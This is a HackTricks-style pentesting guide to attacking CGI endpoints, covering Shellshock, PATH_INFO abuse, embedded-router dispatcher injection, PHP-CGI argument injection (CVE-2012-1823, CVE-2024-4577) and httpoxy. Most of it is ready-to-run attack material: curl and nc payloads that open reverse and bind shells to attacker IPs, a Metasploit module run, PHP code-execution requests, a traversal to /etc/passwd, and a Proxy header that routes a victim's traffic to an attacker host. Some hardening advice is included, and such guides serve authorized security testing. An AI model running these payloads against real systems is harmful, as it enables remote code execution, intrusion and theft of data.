// HackTricks · Network Services

CGI Pentesting

CGI Pentesting

Information

CGI is an interface, not a language: real targets may expose legacy Perl, sh, Python, or compiled programs behind *.cgi. CGI defines how the server passes request metadata and body data to those programs.[7]

If an authorized test finds a file-upload path that writes into a CGI-enabled directory, preserve the interpreter line and executable permission when testing execution. For example, Kali’s /usr/share/webshells/perl/perl-reverse-shell.pl can be adapted, uploaded with a .cgi name, marked executable (chmod +x) when the primitive permits it, and requested over HTTP. The server configuration—not the filename alone—determines whether it executes.

For authorized CGI enumeration, Nikto’s -C all option tests every CGI directory.[10]

Quick methodology:

  • Enumerate classic locations and extensions: /cgi-bin/, /cgi-sys/, *.cgi, *.pl, *.sh, *.py.
  • Fuzz how the target handles extra path data after the script name: /cgi-bin/status.cgi/test, /cgi-bin/status.cgi//x, encoded slashes, ;, . and ...
  • If you suspect Apache-specific CGI weirdness (source disclosure via absolute paths, local redirects, handler confusion), check Apache.
  • If the stack is really FastCGI/PHP-FPM instead of classic CGI, check 9000 - Pentesting FastCGI.

ShellShock

Shellshock (CVE-2014-6271 and related flaws) affected Bash’s handling of function definitions imported through environment variables. CGI maps request headers into environment variables, so a vulnerable Bash-backed CGI script could execute attacker-supplied trailing commands.[8]

Exploiting this behavior may cause the page to return an error.

You could find this vulnerability noticing that it is using an old Apache version and cgi_mod (with cgi folder) or using nikto.

Test

Most tests are based in echo something and expect that that string is returned in the web response. If you think a page may be vulnerable, search for all the cgi pages and test them.

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

PATH_INFO / PATH_TRANSLATED abuse

According to RFC 3875, extra path data after the CGI script path is exposed to the application as PATH_INFO, and a server may derive PATH_TRANSLATED from it.[7] In practice, many CGI handlers either:

  • ignore PATH_INFO when they should reject it
  • use it as an internal router (selecting actions or files)
  • concatenate it into filesystem paths or shell commands

Quick probes:

curl -i http://target/cgi-bin/app.cgi/test
curl -i http://target/cgi-bin/app.cgi/%2e%2e/%2e%2e/etc/passwd
curl -i http://target/cgi-bin/app.cgi/.//admin
curl -i http://target/cgi-bin/app.cgi/;id

What you are looking for:

  • different content/auth decisions when extra path exists
  • file-open errors leaking translated filesystem paths
  • handlers that map PATH_INFO directly to templates, language files, firmware objects, or helper scripts

If a script does not expect extra path data but still accepts it, treat that as a strong signal and keep fuzzing encoded separators, duplicate slashes, and dot segments.

Centralized CGI dispatchers (single endpoint routing via selector parameters)

Many embedded web UIs multiplex dozens of privileged actions behind a single CGI endpoint (for example, /cgi-bin/cstecgi.cgi) and use a selector parameter such as topicurl=<handler> to route the request to an internal function.[2]

Methodology to exploit these routers:

  • Enumerate handler names: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher.
  • Test unauthenticated reachability: some handlers forget auth checks and are directly callable.
  • Focus on handlers that invoke system utilities or touch files; weak validators often only block a few characters and might miss the leading hyphen -.

Generic exploit shapes:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Detection and hardening:

  • Watch for unauthenticated requests to centralized CGI endpoints with topicurl set to sensitive handlers.
  • Flag parameters that begin with - (argv option injection attempts).
  • Vendors: enforce authentication on all state-changing handlers, validate using strict allowlists/types/lengths, and never pass user-controlled strings as command-line flags.

PHP + CGI argument injection = RCE

Old PHP-CGI (CVE-2012-1823, CVE-2012-2311)

If CGI is active and PHP is “old” (<5.3.12 / < 5.4.2) you can execute code.
To exploit this vulnerability, access a PHP file without a conventional query parameter (especially without =). Then, in order to test this vulnerability, you could access for example /index.php?-s (note the -s) and source code of the application will appear in the response.

Then, in order to obtain RCE you can send this special query: /?-d allow_url_include=1 -d auto_prepend_file=php://input and the PHP code to be executed in the **body of the request.
Example:

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

More info about the vuln and possible exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.[3][4][5][6]

Modern Windows PHP-CGI bypass (CVE-2024-4577)

In June 2024, PHP-CGI argument injection came back on Windows. The bug abuses Windows Best-Fit conversion: a soft hyphen (%AD, 0xAD) can be transformed into a real - before PHP parses arguments, bypassing the old protection from CVE-2012-1823. This has been especially relevant in XAMPP for Windows and other deployments where PHP is reachable through CGI handlers.[1]

Quick test:

curl -i -X POST \
  --data "<?php phpinfo(); die(); ?>" \
  "http://target/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"

If the response renders phpinfo() or otherwise executes your body, you have code execution. Swap the body for any PHP payload:

curl -i -X POST \
  --data "<?php system('whoami'); die(); ?>" \
  "http://target/test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"

Notes:

  • The %AD bytes are the important part: they are the attacker-controlled “soft hyphens”.
  • The original issue is directly reproducible with code pages 932, 936 and 950; other Windows locales still require assessment because web-server and code-page combinations differ.[1]
  • 8.1.29, 8.2.20 and 8.3.8 contained the first fix, but a later parameter-injection bypass means the complete historical fix baselines are 8.1.30, 8.2.24 and 8.3.12. Use a currently supported, fully updated PHP branch rather than stopping at the first fixed build.[11]

Post-fix quote-smuggling variant (unusual Windows code pages)

A later variant targets installations whose Windows ANSI code page (ACP) was manually pointed at an OEM code page. On code page 437, for example, %A8 can become "; Windows command-line parsing then removes the generated quote pair around -s, recreating an option even after the soft-hyphen fix. This setup requires an unusual registry modification, but it is useful when an apparently patched appliance still behaves as vulnerable.[11]

# Source-disclosure canary for the rare quote-smuggling variant
curl -i 'http://target/index.php?%A8-s%A8'

cgi.force_redirect header/environment collision

Older PHP-CGI also accepted either REDIRECT_STATUS or HTTP_REDIRECT_STATUS as proof that the web server invoked it through a configured redirect. Because CGI transforms an attacker-supplied Redirect-Status header into HTTP_REDIRECT_STATUS, a direct request could satisfy that check and bypass cgi.force_redirect. This is not RCE by itself, but configurations that also derive attacker-controlled SCRIPT_FILENAME values could turn direct invocation into arbitrary file inclusion. The same 8.1.30, 8.2.24 and 8.3.12 releases fixed this collision.[12]

# Compare the direct-call response with and without the colliding header
curl -i 'http://target/cgi-bin/php/secretdir/script.php'
curl -i -H 'Redirect-Status: 1' \
  'http://target/cgi-bin/php/secretdir/script.php'

A change from PHP’s Security Alert! response to normal script handling is the signal; verify the handler mapping and SCRIPT_FILENAME construction before claiming file inclusion.[12]

Proxy / HTTP_PROXY (httpoxy)

CGI creates an environment variable for each HTTP header in the request. For example, Host: web.com becomes HTTP_HOST=web.com.
That also means Proxy: http://attacker:8080 becomes HTTP_PROXY, which may collide with libraries that trust HTTP_PROXY as the proxy for outgoing requests.

If the CGI application performs server-side HTTP requests during your session (update checks, webhooks, API calls, avatar fetches, SSO helpers, etc.), try:

curl -H 'Proxy: http://ATTACKER:8080' http://target/cgi-bin/report.cgi

If the application or one of its libraries trusts HTTP_PROXY, you may:

  • proxy the victim’s outbound requests through your host
  • steal internal HTTP traffic, credentials or tokens
  • redirect internal subrequests to attacker-chosen destinations

Useful notes:[9]

  • This pattern is commonly known as httpoxy.
  • Historically it affected CGI-style PHP, Python CGI handlers, and Go net/http/cgi style deployments.
  • Simply unsetting $_SERVER['HTTP_PROXY'] in PHP may be insufficient if the code or library reads from getenv('HTTP_PROXY').

References